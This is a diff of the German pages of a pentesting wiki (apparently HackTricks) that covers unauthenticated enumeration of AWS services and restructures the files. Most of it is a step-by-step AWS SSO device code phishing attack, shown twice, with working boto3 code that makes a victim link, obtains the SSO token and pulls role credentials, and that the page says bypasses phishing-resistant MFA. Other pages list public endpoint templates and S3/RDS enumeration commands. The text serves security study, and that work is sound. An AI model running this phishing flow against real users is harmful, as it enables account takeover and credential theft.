diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md
deleted file mode 100644
index 84ed02fd0..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md
+++ /dev/null
@@ -1,123 +0,0 @@
-# AWS - Identity Center & SSO Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## AWS Device Code Phishing
-
-Ursprünglich vorgeschlagen in [**diesem Blogbeitrag**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), ist es möglich, einen **Link** an einen Benutzer zu senden, der AWS SSO verwendet, und wenn der **Benutzer akzeptiert**, kann der Angreifer ein **Token erhalten, um den Benutzer zu impersonieren** und auf alle Rollen zuzugreifen, auf die der Benutzer im **Identity Center** zugreifen kann.
-
-Um diesen Angriff durchzuführen, sind die Voraussetzungen:
-
-- Das Opfer muss **Identity Center** verwenden
-- Der Angreifer muss die **Subdomain** kennen, die vom Opfer verwendet wird `<victimsub>.awsapps.com/start`
-
-Nur mit den vorherigen Informationen kann der **Angreifer einen Link an den Benutzer senden**, der, wenn er **akzeptiert** wird, dem **Angreifer Zugriff auf das AWS-Benutzer**konto gewährt.
-
-### Angriff
-
-1. **Finden der Subdomain**
-
-Der erste Schritt des Angreifers besteht darin, die Subdomain herauszufinden, die das Opferunternehmen in ihrem Identity Center verwendet. Dies kann über **OSINT** oder **Raten + BF** erfolgen, da die meisten Unternehmen hier ihren Namen oder eine Variation ihres Namens verwenden werden.
-
-Mit diesen Informationen ist es möglich, die Region zu ermitteln, in der das Identity Center konfiguriert wurde:
-```bash
-curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
-"region":"us-east-1
-```
-2. **Generiere den Link für das Opfer & sende ihn**
-
-Führe den folgenden Code aus, um einen AWS SSO-Login-Link zu generieren, damit das Opfer sich authentifizieren kann.\
-Für die Demo führe diesen Code in einer Python-Konsole aus und verlasse sie nicht, da du später einige Objekte benötigst, um das Token zu erhalten:
-```python
-import boto3
-
-REGION = 'us-east-1' # CHANGE THIS
-AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS
-
-sso_oidc = boto3.client('sso-oidc', region_name=REGION)
-client = sso_oidc.register_client(
-clientName = 'attacker',
-clientType = 'public'
-)
-
-client_id = client.get('clientId')
-client_secret = client.get('clientSecret')
-authz = sso_oidc.start_device_authorization(
-clientId=client_id,
-clientSecret=client_secret,
-startUrl=AWS_SSO_START_URL
-)
-
-url = authz.get('verificationUriComplete')
-deviceCode = authz.get('deviceCode')
-print("Give this URL to the victim: " + url)
-```
-Sende den generierten Link an das Opfer mit deinen großartigen Social-Engineering-Fähigkeiten!
-
-3. **Warte, bis das Opfer es akzeptiert**
-
-Wenn das Opfer **bereits bei AWS angemeldet** war, muss es nur die Berechtigungen akzeptieren. Wenn nicht, muss es sich **anmelden und dann die Berechtigungen akzeptieren**.\
-So sieht die Aufforderung heutzutage aus:
-
-<figure><img src="../../../images/image (343).png" alt="" width="311"><figcaption></figcaption></figure>
-
-4. **Erhalte SSO-Zugriffstoken**
-
-Wenn das Opfer die Aufforderung akzeptiert hat, führe diesen Code aus, um **ein SSO-Token zu generieren, das den Benutzer impersoniert**:
-```python
-token_response = sso_oidc.create_token(
-clientId=client_id,
-clientSecret=client_secret,
-grantType="urn:ietf:params:oauth:grant-type:device_code",
-deviceCode=deviceCode
-)
-sso_token = token_response.get('accessToken')
-```
-Das SSO-Zugriffstoken ist **8 Stunden gültig**.
-
-5. **Benutzer impersonieren**
-```python
-sso_client = boto3.client('sso', region_name=REGION)
-
-# List accounts where the user has access
-aws_accounts_response = sso_client.list_accounts(
-accessToken=sso_token,
-maxResults=100
-)
-aws_accounts_response.get('accountList', [])
-
-# Get roles inside an account
-roles_response = sso_client.list_account_roles(
-accessToken=sso_token,
-accountId=<account_id>
-)
-roles_response.get('roleList', [])
-
-# Get credentials over a role
-
-sts_creds = sso_client.get_role_credentials(
-accessToken=sso_token,
-roleName=<role_name>,
-accountId=<account_id>
-)
-sts_creds.get('roleCredentials')
-```
-### Phishing des unphishbaren MFA
-
-Es ist interessant zu wissen, dass der vorherige Angriff **auch funktioniert, wenn ein "unphishbarer MFA" (webAuth) verwendet wird**. Das liegt daran, dass der vorherige **Workflow niemals die verwendete OAuth-Domain verlässt**. Anders als bei anderen Phishing-Angriffen, bei denen der Benutzer die Anmeldedomain ersetzen muss, ist im Fall des Gerätecode-Workflows vorgesehen, dass ein **Code von einem Gerät bekannt ist** und der Benutzer sich sogar an einem anderen Gerät anmelden kann. Wenn die Eingabeaufforderung akzeptiert wird, kann das Gerät, nur durch **Kenntnis des ursprünglichen Codes**, **Anmeldeinformationen** für den Benutzer **abrufen**.
-
-Für weitere Informationen dazu [**prüfen Sie diesen Beitrag**](https://mjg59.dreamwidth.org/62175.html).
-
-### Automatische Werkzeuge
-
-- [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication)
-- [https://github.com/sebastian-mora/awsssome_phish](https://github.com/sebastian-mora/awsssome_phish)
-
-## Referenzen
-
-- [https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/)
-- [https://ruse.tech/blogs/aws-sso-phishing](https://ruse.tech/blogs/aws-sso-phishing)
-- [https://mjg59.dreamwidth.org/62175.html](https://mjg59.dreamwidth.org/62175.html)
-- [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md
new file mode 100644
index 000000000..1d788885f
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md
@@ -0,0 +1,123 @@
+# AWS - Identity Center & SSO Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## AWS Device Code Phishing
+
+Ursprünglich in [**this blog post**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/) vorgeschlagen, ist es möglich, einem Benutzer, der AWS SSO verwendet, einen **Link** zu senden, der — wenn der **Benutzer zustimmt** — dem Angreifer ein **Token zur Benutzer-Impersonation** verschafft und Zugriff auf alle Rollen ermöglicht, auf die der Benutzer im **Identity Center** zugreifen kann.
+
+Um diesen Angriff durchzuführen, sind folgende Voraussetzungen erforderlich:
+
+- Das Opfer muss **Identity Center** verwenden
+- Der Angreifer muss die **subdomain** kennen, die das Opfer verwendet `<victimsub>.awsapps.com/start`
+
+Schon mit diesen Informationen kann der Angreifer dem Benutzer einen Link senden, der — wenn er akzeptiert wird — dem Angreifer Zugriff auf das AWS-Benutzerkonto gewährt.
+
+### Attack
+
+1. **Finding the subdomain**
+
+Der erste Schritt des Angreifers besteht darin, die Subdomain zu finden, die das Opferunternehmen in seinem Identity Center verwendet. Dies kann mittels **OSINT** oder **guessing + BF** erfolgen, da die meisten Unternehmen hier ihren Namen oder eine Variante davon verwenden.
+
+Mit diesen Informationen ist es möglich, die Region zu ermitteln, in der das Identity Center konfiguriert wurde:
+```bash
+curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
+"region":"us-east-1
+```
+2. **Link für das Opfer erzeugen & senden**
+
+Führe den folgenden Code aus, um einen AWS SSO-Anmeldelink zu erzeugen, damit sich das Opfer authentifizieren kann.\
+Für die Demo führe diesen Code in einer python-Konsole aus und beende sie nicht, da du später einige Objekte benötigst, um das Token zu erhalten:
+```python
+import boto3
+
+REGION = 'us-east-1' # CHANGE THIS
+AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS
+
+sso_oidc = boto3.client('sso-oidc', region_name=REGION)
+client = sso_oidc.register_client(
+clientName = 'attacker',
+clientType = 'public'
+)
+
+client_id = client.get('clientId')
+client_secret = client.get('clientSecret')
+authz = sso_oidc.start_device_authorization(
+clientId=client_id,
+clientSecret=client_secret,
+startUrl=AWS_SSO_START_URL
+)
+
+url = authz.get('verificationUriComplete')
+deviceCode = authz.get('deviceCode')
+print("Give this URL to the victim: " + url)
+```
+Sende den generierten Link an das Opfer und nutze dabei deine großartigen social engineering-Fähigkeiten!
+
+3. **Warte, bis das Opfer es akzeptiert**
+
+Wenn das Opfer **bereits bei AWS eingeloggt** war, muss es nur die Gewährung der Berechtigungen akzeptieren; wenn nicht, muss es sich **einloggen und dann die Gewährung der Berechtigungen akzeptieren**.\
+So sieht das Prompt heutzutage aus:
+
+<figure><img src="../../../images/image (343).png" alt="" width="311"><figcaption></figcaption></figure>
+
+4. **SSO access token erhalten**
+
+Wenn das Opfer die Anfrage akzeptiert hat, führe diesen Code aus, um **einen SSO token zu generieren, der sich als der Benutzer ausgibt**:
+```python
+token_response = sso_oidc.create_token(
+clientId=client_id,
+clientSecret=client_secret,
+grantType="urn:ietf:params:oauth:grant-type:device_code",
+deviceCode=deviceCode
+)
+sso_token = token_response.get('accessToken')
+```
+Das SSO access token ist **für 8h gültig**.
+
+5. **Sich als Benutzer ausgeben**
+```python
+sso_client = boto3.client('sso', region_name=REGION)
+
+# List accounts where the user has access
+aws_accounts_response = sso_client.list_accounts(
+accessToken=sso_token,
+maxResults=100
+)
+aws_accounts_response.get('accountList', [])
+
+# Get roles inside an account
+roles_response = sso_client.list_account_roles(
+accessToken=sso_token,
+accountId=<account_id>
+)
+roles_response.get('roleList', [])
+
+# Get credentials over a role
+
+sts_creds = sso_client.get_role_credentials(
+accessToken=sso_token,
+roleName=<role_name>,
+accountId=<account_id>
+)
+sts_creds.get('roleCredentials')
+```
+### Phishing the unphisable MFA
+
+Es ist interessant zu wissen, dass der vorherige Angriff **funktioniert, selbst wenn ein "unphisable MFA" (webAuth) verwendet wird**. Das liegt daran, dass der vorherige **Workflow die verwendete OAuth-Domain niemals verlässt**. Anders als bei anderen Phishing-Angriffen, bei denen der Benutzer die Login-Domain ersetzen muss, ist im Fall des device code workflow ein **Code einem Gerät bekannt** und der Benutzer kann sich sogar von einer anderen Maschine aus einloggen. Wenn die Eingabeaufforderung akzeptiert wird, kann das Gerät allein durch **das Kennen des initialen Codes** die **Zugangsdaten** des Benutzers abrufen.
+
+Für mehr Informationen hierzu [**check this post**](https://mjg59.dreamwidth.org/62175.html).
+
+### Automatische Tools
+
+- [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication)
+- [https://github.com/sebastian-mora/awsssome_phish](https://github.com/sebastian-mora/awsssome_phish)
+
+## Referenzen
+
+- [https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/)
+- [https://ruse.tech/blogs/aws-sso-phishing](https://ruse.tech/blogs/aws-sso-phishing)
+- [https://mjg59.dreamwidth.org/62175.html](https://mjg59.dreamwidth.org/62175.html)
+- [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md
similarity index 58%
rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md
rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md
index 7db5e9a22..334c89022 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md
@@ -1,11 +1,11 @@
 # AWS - IoT Unauthenticated Enum
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
-### Öffentliches URL-Template
+### Öffentliche URL-Vorlage
 ```
 mqtt://{random_id}.iot.{region}.amazonaws.com:8883
 https://{random_id}.iot.{region}.amazonaws.com:8443
 https://{random_id}.iot.{region}.amazonaws.com:443
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md
deleted file mode 100644
index 09892e90d..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md
+++ /dev/null
@@ -1,9 +0,0 @@
-# AWS - Kinesis Video Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### Öffentliches URL-Template
-```
-https://{random_id}.kinesisvideo.{region}.amazonaws.com
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md
new file mode 100644
index 000000000..15e377ef4
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md
@@ -0,0 +1,9 @@
+# AWS - Kinesis Video Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### Öffentliche URL-Vorlage
+```
+https://{random_id}.kinesisvideo.{region}.amazonaws.com
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md
deleted file mode 100644
index 820aab6f2..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md
+++ /dev/null
@@ -1,20 +0,0 @@
-# AWS - Lambda Unauthenticated Access
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Öffentliche Funktions-URL
-
-Es ist möglich, eine **Lambda** mit einer **öffentlichen Funktions-URL** zu verknüpfen, auf die jeder zugreifen kann. Sie könnte Web-Sicherheitsanfälligkeiten enthalten.
-
-### Vorlage für öffentliche URL
-```
-https://{random_id}.lambda-url.{region}.on.aws/
-```
-### Konto-ID von öffentlicher Lambda-URL abrufen
-
-Genau wie bei S3-Buckets, Data Exchange und API-Gateways ist es möglich, die Konto-ID eines Kontos zu finden, indem man den **`aws:ResourceAccount`** **Policy Condition Key** von einer öffentlichen Lambda-URL ausnutzt. Dies geschieht, indem man die Konto-ID Zeichen für Zeichen findet und Wildcards im **`aws:ResourceAccount`**-Abschnitt der Richtlinie ausnutzt.\
-Diese Technik ermöglicht es auch, **Werte von Tags** abzurufen, wenn man den Tag-Schlüssel kennt (es gibt einige standardmäßige interessante).
-
-Weitere Informationen finden Sie in der [**originalen Forschung**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) und dem Tool [**conditional-love**](https://github.com/plerionhq/conditional-love/), um diese Ausnutzung zu automatisieren.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md
new file mode 100644
index 000000000..6801cb4e7
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md
@@ -0,0 +1,20 @@
+# AWS - Lambda Nicht authentifizierter Zugriff
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Public Function URL
+
+Es ist möglich, eine **Lambda** mit einer **public function URL** zu verknüpfen, die von jedem aufgerufen werden kann. Sie könnte Web-Schwachstellen enthalten.
+
+### Public URL template
+```
+https://{random_id}.lambda-url.{region}.on.aws/
+```
+### Account-ID von öffentlicher Lambda-URL ermitteln
+
+Wie bei S3 buckets, Data Exchange und API gateways ist es möglich, die Account-ID eines Accounts auszulesen, indem man den **`aws:ResourceAccount`** **Policy Condition Key** von einer öffentlichen Lambda-URL missbraucht. Dies geschieht, indem die Account-ID Zeichen für Zeichen ermittelt wird, indem Wildcards im **`aws:ResourceAccount`**-Abschnitt der Policy ausgenutzt werden.\  
+Mit dieser Technik lassen sich außerdem die **values of tags** auslesen, wenn der tag key bekannt ist (es gibt einige standardmäßig interessante).
+
+You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md
similarity index 63%
rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md
rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md
index c91bc3d8e..293dcd8ae 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md
@@ -1,11 +1,11 @@
 # AWS - Media Unauthenticated Enum
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
-### Öffentliches URL-Template
+### Öffentliche URL-Vorlage
 ```
 https://{random_id}.mediaconvert.{region}.amazonaws.com
 https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel
 https://{random_id}.data.mediastore.{region}.amazonaws.com
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md
deleted file mode 100644
index 9235a06fe..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md
+++ /dev/null
@@ -1,20 +0,0 @@
-# AWS - MQ Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Öffentlicher Port
-
-### **RabbitMQ**
-
-Im Fall von **RabbitMQ** sind **standardmäßig öffentlicher Zugriff** und SSL aktiviert. Aber Sie benötigen **Anmeldeinformationen**, um darauf zuzugreifen (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). Darüber hinaus ist es möglich, **auf die Web-Management-Konsole zuzugreifen**, wenn Sie die Anmeldeinformationen in `https://b-<uuid>.mq.us-east-1.amazonaws.com/` kennen.
-
-### ActiveMQ
-
-Im Fall von **ActiveMQ** sind standardmäßig öffentlicher Zugriff und SSL aktiviert, aber Sie benötigen Anmeldeinformationen, um darauf zuzugreifen.
-
-### Öffentliches URL-Template
-```
-https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/
-ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md
new file mode 100644
index 000000000..e6e89db0b
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md
@@ -0,0 +1,20 @@
+# AWS - MQ Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Public Port
+
+### **RabbitMQ**
+
+Im Fall von **RabbitMQ** sind **standardmäßig öffentlicher Zugriff** und ssl aktiviert. Sie benötigen jedoch **credentials**, um darauf zuzugreifen (`amqps://.mq.us-east-1.amazonaws.com:5671`). Außerdem ist es möglich, **auf die Web-Management-Konsole zuzugreifen**, wenn man die credentials unter `https://b-<uuid>.mq.us-east-1.amazonaws.com/` kennt.
+
+### **ActiveMQ**
+
+Im Fall von **ActiveMQ** sind standardmäßig öffentlicher Zugriff und ssl aktiviert, aber Sie benötigen **credentials**, um darauf zuzugreifen.
+
+### Öffentliche URL-Vorlage
+```
+https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/
+ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md
deleted file mode 100644
index 7c857f34f..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md
+++ /dev/null
@@ -1,16 +0,0 @@
-# AWS - MSK Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### Öffentlicher Port
-
-Es ist möglich, den **Kafka-Broker öffentlich zugänglich zu machen**, aber Sie benötigen **Anmeldeinformationen**, IAM-Berechtigungen oder ein gültiges Zertifikat (je nach konfiguriertem Authentifizierungsverfahren).
-
-Es ist auch **möglich, die Authentifizierung zu deaktivieren**, aber in diesem Fall ist es **nicht möglich, den Port direkt** ins Internet zu exponieren.
-
-### Öffentliches URL-Template
-```
-b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com
-{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md
new file mode 100644
index 000000000..9aaa9bc7c
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md
@@ -0,0 +1,16 @@
+# AWS - MSK Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### Öffentlicher Port
+
+Es ist möglich, den Kafka-Broker **öffentlich zugänglich zu machen**, aber Sie benötigen **credentials**, IAM permissions oder ein gültiges Zertifikat (je nach konfigurierter auth method).
+
+Es ist auch **möglich, authentication zu deaktivieren**, aber in diesem Fall **ist es nicht möglich, den Port direkt dem Internet auszusetzen**.
+
+### Öffentliche URL-Vorlage
+```
+b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com
+{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md
similarity index 60%
rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md
rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md
index 1a229dedf..6e27fc714 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md
@@ -1,22 +1,22 @@
 # AWS - RDS Unauthenticated Enum
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## RDS
 
 Für weitere Informationen siehe:
 
 {{#ref}}
-../aws-services/aws-relational-database-rds-enum.md
+../../aws-services/aws-relational-database-rds-enum.md
 {{#endref}}
 
 ## Öffentlicher Port
 
-Es ist möglich, **öffentlichen Zugriff auf die Datenbank aus dem Internet** zu gewähren. Der Angreifer muss dennoch **den Benutzernamen und das Passwort,** IAM-Zugriff oder einen **Exploit** kennen, um in die Datenbank zu gelangen.
+Es ist möglich, einer **Datenbank aus dem Internet** öffentlichen Zugriff zu gewähren. Der Angreifer müsste jedoch weiterhin den **Benutzernamen und das Passwort** kennen, IAM-Zugriff haben oder einen **exploit**, um in die Datenbank einzudringen.
 
-## Öffentliche RDS-Snapshots
+## Öffentliche RDS Snapshots
 
-AWS erlaubt es, **Zugriff für jeden zu gewähren, um RDS-Snapshots herunterzuladen**. Sie können diese öffentlichen RDS-Snapshots sehr einfach von Ihrem eigenen Konto aus auflisten:
+AWS erlaubt es, **jedem den Zugriff zum Herunterladen von RDS-Snapshots** zu gewähren. Du kannst diese öffentlichen RDS-Snapshots sehr einfach aus deinem eigenen Account auflisten:
 ```bash
 # Public RDS snapshots
 aws rds describe-db-snapshots --include-public
@@ -32,9 +32,9 @@ aws rds describe-db-snapshots --snapshot-type public [--region us-west-2]
 ## Even if in the console appear as there are public snapshot it might be public
 ## snapshots from other accounts used by the current account
 ```
-### Öffentliches URL-Template
+### Öffentliche URL-Vorlage
 ```
 mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306
 postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md
deleted file mode 100644
index f12b39984..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md
+++ /dev/null
@@ -1,9 +0,0 @@
-# AWS - Redshift Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### Öffentliches URL-Template
-```
-{user_provided}.<random>.<region>.redshift.amazonaws.com
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md
new file mode 100644
index 000000000..f3eb02448
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md
@@ -0,0 +1,9 @@
+# AWS - Redshift Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### Öffentliche URL-Vorlage
+```
+{user_provided}.<random>.<region>.redshift.amazonaws.com
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md
deleted file mode 100644
index 3ce7bfa1b..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md
+++ /dev/null
@@ -1,194 +0,0 @@
-# AWS - S3 Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## S3 Öffentliche Buckets
-
-Ein Bucket wird als **„öffentlich“** betrachtet, wenn **jeder Benutzer den Inhalt** des Buckets auflisten kann, und als **„privat“**, wenn der Inhalt des Buckets **nur von bestimmten Benutzern aufgelistet oder geschrieben werden kann**.
-
-Unternehmen könnten **Berechtigungen für Buckets falsch konfiguriert** haben, was entweder den Zugriff auf alles oder auf alle authentifizierten Benutzer in AWS in jedem Konto (also auf jeden) ermöglicht. Beachten Sie, dass selbst bei solchen Fehlkonfigurationen einige Aktionen möglicherweise nicht ausgeführt werden können, da Buckets ihre eigenen Zugriffskontrolllisten (ACLs) haben können.
-
-**Erfahren Sie hier mehr über AWS-S3 Fehlkonfigurationen:** [**http://flaws.cloud**](http://flaws.cloud/) **und** [**http://flaws2.cloud/**](http://flaws2.cloud)
-
-### Finden von AWS Buckets
-
-Verschiedene Methoden, um herauszufinden, ob eine Webseite AWS zur Speicherung von Ressourcen verwendet:
-
-#### Enumeration & OSINT:
-
-- Verwendung des **wappalyzer** Browser-Plugins
-- Verwendung von Burp (**Spidering** des Webs) oder durch manuelles Navigieren durch die Seite, alle **geladenen Ressourcen** werden im Verlauf gespeichert.
-- **Überprüfen Sie Ressourcen** in Domains wie:
-
-```
-http://s3.amazonaws.com/[bucket_name]/
-http://[bucket_name].s3.amazonaws.com/
-```
-
-- Überprüfen Sie auf **CNAMES**, da `resources.domain.com` den CNAME `bucket.s3.amazonaws.com` haben könnte
